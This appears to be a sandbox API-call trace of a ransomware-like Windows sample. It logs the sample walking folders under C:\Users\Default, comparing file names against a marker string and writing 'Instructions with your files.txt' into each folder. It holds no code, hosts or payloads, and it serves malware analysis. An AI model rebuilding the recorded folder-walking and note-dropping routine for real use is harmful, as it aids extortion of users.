[0132.513] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\Default\\PrintHood\\*") returned 32
[0132.513] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\Default\\PrintHood\\*", lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd8868f0a, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="Ȭ癙䮸\x84翿")) returned 0xffffffff
[0132.514] GetProcessHeap () returned 0x810000
[0132.514] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x854bc0 | out: hHeap=0x810000) returned 1
[0132.514] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x30702f92, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x30702f92, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x30702f92, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Recent", cAlternateFileName="")) returned 1
[0132.514] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\Recent") returned 27
[0132.514] GetProcessHeap () returned 0x810000
[0132.514] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x854bc0
[0132.514] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\Default\\Recent\\*") returned 29
[0132.514] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\Default\\Recent\\*", lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd8868f0a, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="Ȭ癙䮸\x84翿")) returned 0xffffffff
[0132.514] GetProcessHeap () returned 0x810000
[0132.514] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x854bc0 | out: hHeap=0x810000) returned 1
[0132.514] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd894d74c, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Saved Games", cAlternateFileName="SAVEDG~1")) returned 1
[0132.514] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\Saved Games") returned 32
[0132.514] GetProcessHeap () returned 0x810000
[0132.514] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x854bc0
[0132.514] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\Default\\Saved Games\\*") returned 34
[0132.514] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\Default\\Saved Games\\*", lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd894d74c, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876c78
[0132.515] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\Saved Games\\.") returned 34
[0132.515] StrStrIW (lpFirst=".", lpSrch="SDfghjkl") returned 0x0
[0132.515] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd894d74c, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0132.515] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\Saved Games\\..") returned 35
[0132.515] StrStrIW (lpFirst="..", lpSrch="SDfghjkl") returned 0x0
[0132.515] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd894d74c, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
[0132.515] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\Saved Games\\desktop.ini") returned 44
[0132.515] StrStrIW (lpFirst="desktop.ini", lpSrch="SDfghjkl") returned 0x0
[0132.515] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd894d74c, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0
[0132.515] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\Saved Games\\Instructions with your files.txt") returned 65
[0132.515] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\Saved Games\\Instructions with your files.txt" (normalized: "c:\\users\\default\\saved games\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
[0132.516] WriteFile (in: hFile=0x10c, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cf124*=0x54, lpOverlapped=0x0) returned 1
[0132.517] WriteFile (in: hFile=0x10c, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cf124*=0x18, lpOverlapped=0x0) returned 1
[0132.517] WriteFile (in: hFile=0x10c, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cf124*=0xc, lpOverlapped=0x0) returned 1
[0132.517] WriteFile (in: hFile=0x10c, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cf124*=0x16, lpOverlapped=0x0) returned 1
[0132.517] WriteFile (in: hFile=0x10c, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cf124*=0x23, lpOverlapped=0x0) returned 1
[0132.517] CloseHandle (hObject=0x10c) returned 1
[0132.517] FindClose (in: hFindFile=0x876c78 | out: hFindFile=0x876c78) returned 1
[0132.517] GetProcessHeap () returned 0x810000
[0132.517] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x854bc0 | out: hHeap=0x810000) returned 1
[0132.517] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd88b51cb, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Searches", cAlternateFileName="")) returned 1
[0132.517] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\Searches") returned 29
[0132.517] GetProcessHeap () returned 0x810000
[0132.517] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x854bc0
[0132.517] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\Default\\Searches\\*") returned 31
[0132.517] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\Default\\Searches\\*", lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd88b51cb, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876c78
[0132.526] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\Searches\\.") returned 31
[0132.526] StrStrIW (lpFirst=".", lpSrch="SDfghjkl") returned 0x0
[0132.526] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd88b51cb, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0132.526] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\Searches\\..") returned 32
[0132.526] StrStrIW (lpFirst="..", lpSrch="SDfghjkl") returned 0x0
[0132.526] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd88b51cb, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x20c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
[0132.526] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\Searches\\desktop.ini") returned 41
[0132.526] StrStrIW (lpFirst="desktop.ini", lpSrch="SDfghjkl") returned 0x0
[0132.526] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf99d9932, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Everywhere.search-ms", cAlternateFileName="EVERYW~1.SEA")) returned 1
[0132.526] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\Searches\\Everywhere.search-ms") returned 50
[0132.526] StrStrIW (lpFirst="Everywhere.search-ms", lpSrch="SDfghjkl") returned 0x0
[0132.526] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf99b37d1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Indexed Locations.search-ms", cAlternateFileName="INDEXE~1.SEA")) returned 1
[0132.526] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\Searches\\Indexed Locations.search-ms") returned 57
[0132.526] StrStrIW (lpFirst="Indexed Locations.search-ms", lpSrch="SDfghjkl") returned 0x0
[0132.526] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf99b37d1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Indexed Locations.search-ms", cAlternateFileName="INDEXE~1.SEA")) returned 0
[0132.526] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\Searches\\Instructions with your files.txt") returned 62
[0132.526] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\Searches\\Instructions with your files.txt" (normalized: "c:\\users\\default\\searches\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
[0132.527] WriteFile (in: hFile=0x10c, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cf124*=0x54, lpOverlapped=0x0) returned 1
[0132.527] WriteFile (in: hFile=0x10c, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cf124*=0x18, lpOverlapped=0x0) returned 1
[0132.527] WriteFile (in: hFile=0x10c, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cf124*=0xc, lpOverlapped=0x0) returned 1
[0132.528] WriteFile (in: hFile=0x10c, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cf124*=0x16, lpOverlapped=0x0) returned 1
[0132.528] WriteFile (in: hFile=0x10c, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cf124*=0x23, lpOverlapped=0x0) returned 1
[0132.528] CloseHandle (hObject=0x10c) returned 1
[0132.528] FindClose (in: hFindFile=0x876c78 | out: hFindFile=0x876c78) returned 1
[0132.528] GetProcessHeap () returned 0x810000
[0132.528] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x854bc0 | out: hHeap=0x810000) returned 1
[0132.528] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x30702f92, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x30702f92, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x30702f92, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SendTo", cAlternateFileName="")) returned 1
[0132.528] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\SendTo") returned 27
[0132.528] GetProcessHeap () returned 0x810000
[0132.528] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x854bc0
[0132.528] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\Default\\SendTo\\*") returned 29
[0132.528] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\Default\\SendTo\\*", lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf99b37d1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Indexed Locations.search-ms", cAlternateFileName="Ȭ癙䮸\x84翿")) returned 0xffffffff
[0132.528] GetProcessHeap () returned 0x810000
[0132.528] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x854bc0 | out: hHeap=0x810000) returned 1
[0132.528] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x30702f92, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x30702f92, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x30702f92, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Start Menu", cAlternateFileName="STARTM~1")) returned 1
[0132.528] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\Start Menu") returned 31
[0132.528] GetProcessHeap () returned 0x810000
[0132.528] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x854bc0
[0132.528] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\Default\\Start Menu\\*") returned 33
[0132.528] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\Default\\Start Menu\\*", lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf99b37d1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Indexed Locations.search-ms", cAlternateFileName="Ȭ癙䮸\x84翿")) returned 0xffffffff
[0132.528] GetProcessHeap () returned 0x810000
[0132.528] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x854bc0 | out: hHeap=0x810000) returned 1
[0132.529] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x30702f92, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x30702f92, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x30702f92, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 1
[0132.529] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\Templates") returned 30
[0132.529] GetProcessHeap () returned 0x810000
[0132.529] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x854bc0
[0132.529] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\Default\\Templates\\*") returned 32
[0132.529] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\Default\\Templates\\*", lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf99b37d1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Indexed Locations.search-ms", cAlternateFileName="Ȭ癙䮸\x84翿")) returned 0xffffffff
[0132.529] GetProcessHeap () returned 0x810000
[0132.529] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x854bc0 | out: hHeap=0x810000) returned 1
[0132.529] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd8868f0a, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Videos", cAlternateFileName="")) returned 1
[0132.529] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\Videos") returned 27
[0132.529] GetProcessHeap () returned 0x810000
[0132.529] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x854bc0
[0132.529] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\Default\\Videos\\*") returned 29
[0132.529] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\Default\\Videos\\*", lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd8868f0a, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876c78
[0132.529] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\Videos\\.") returned 29
[0132.529] StrStrIW (lpFirst=".", lpSrch="SDfghjkl") returned 0x0
[0132.529] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd8868f0a, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0132.529] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\Videos\\..") returned 30
[0132.529] StrStrIW (lpFirst="..", lpSrch="SDfghjkl") returned 0x0
[0132.529] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd8868f0a, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
[0132.529] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\Videos\\desktop.ini") returned 39
[0132.529] StrStrIW (lpFirst="desktop.ini", lpSrch="SDfghjkl") returned 0x0
[0132.529] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd8868f0a, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0
[0132.529] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\Videos\\Instructions with your files.txt") returned 60
[0132.529] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\Videos\\Instructions with your files.txt" (normalized: "c:\\users\\default\\videos\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
